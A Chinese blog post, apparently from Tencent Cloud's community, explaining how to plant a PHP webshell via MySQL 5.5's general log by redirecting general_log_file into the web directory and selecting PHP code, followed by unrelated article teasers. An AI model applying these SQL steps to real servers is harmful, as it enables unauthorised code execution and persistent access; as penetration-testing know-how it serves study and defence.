mysql利用log写入webshell(测试版本5.5.53)

0x01    前言

新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话

此时在mysql文件夹下的my.ini中可以设置到处路径

但是在拿shell时,不可能去修改配置文件

可以通过修改mysql的log文件来获取webshell

0x02    过程

首先进入SQL环境,执行以下SQL语句:

show variables like "%general%";

修改如上两个地方的值,其中修改log的地址为网站目录下的php文件,其后log文件会写入其中,修改方法

set global general_log = on;set global general_log_file = "C:/phpStudy/PHPTutorial/MySQL/6.php";

 然后执行

select "<?php echo 12344;?>"

此时在网站目录下6.PHP中就生成了一句话

成功执行。

添加收藏

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏跟着阿笨一起玩NET

如何vs升级后10和12都能同时兼容

升级办法:先复制vs2008版本的解决方案文件。升级2012后,再将文件复制到目录里面即可。注意升级过程中产生的升级文件(UpgradeLog文件)不能删除!

531
来自专栏逸鹏说道

8.GitHub实战系列~8.使用GitHub建立自己的免费博客

github实战汇总:http://www.cnblogs.com/dunitian/p/5038719.html 创建一个用户名.github.io的仓库 ?...

3368
来自专栏无原型不设计

【Mockplus教程】分组

为了更好的管理和组织多个页面,可以选择将页面分组。 选择多个页面,然后使用右键点击后,在弹出的菜单中选择“将页面归类到新分组”。 完整演示如下: ?

2757
来自专栏Java技术分享

SpringBoot第5小节:事务管理

场景:执行2条sql语句,要么同时成功,要么同时失败。 同时操作1条或多条数据时,建议给方法加个@Transactional,查询的时候不用加事务。 ?

3546
来自专栏机器学习实践二三事

pip安装报错'not a supported wheel on this platform'

这个错误很常见,解决方法是改名,首先要获得在你的机器的平台上的合法名称: import pip pip.pep425tags.get_supporte...

2697
来自专栏无原型不设计

【Mockplus教程】为什么删除多个页面的时候会有提示,如何取消提示?

为了防止误操作,在删除三个及以上页面的时候,Mockplus默认会给出输入“delete”字符 完成删除的确认提示,如下图: ? 要去掉这个提示,在设置中...

2716
来自专栏电光石火

SpringBoot项目以jar包的方式导出

2103
来自专栏BeJavaGod

权限框架 - shiro 自定义realm

上篇文章中是使用的默认realm来实现的简单登录,这仅仅只是个demo,真正项目中使用肯定是需要连接数据库的 首先创建自定义realm文件,如下: ? 在shi...

3335
来自专栏24k

chrome的插件Postman安装方法

1864
来自专栏杨龙飞前端

nginx使用

3688

扫码关注云+社区

领取腾讯云代金券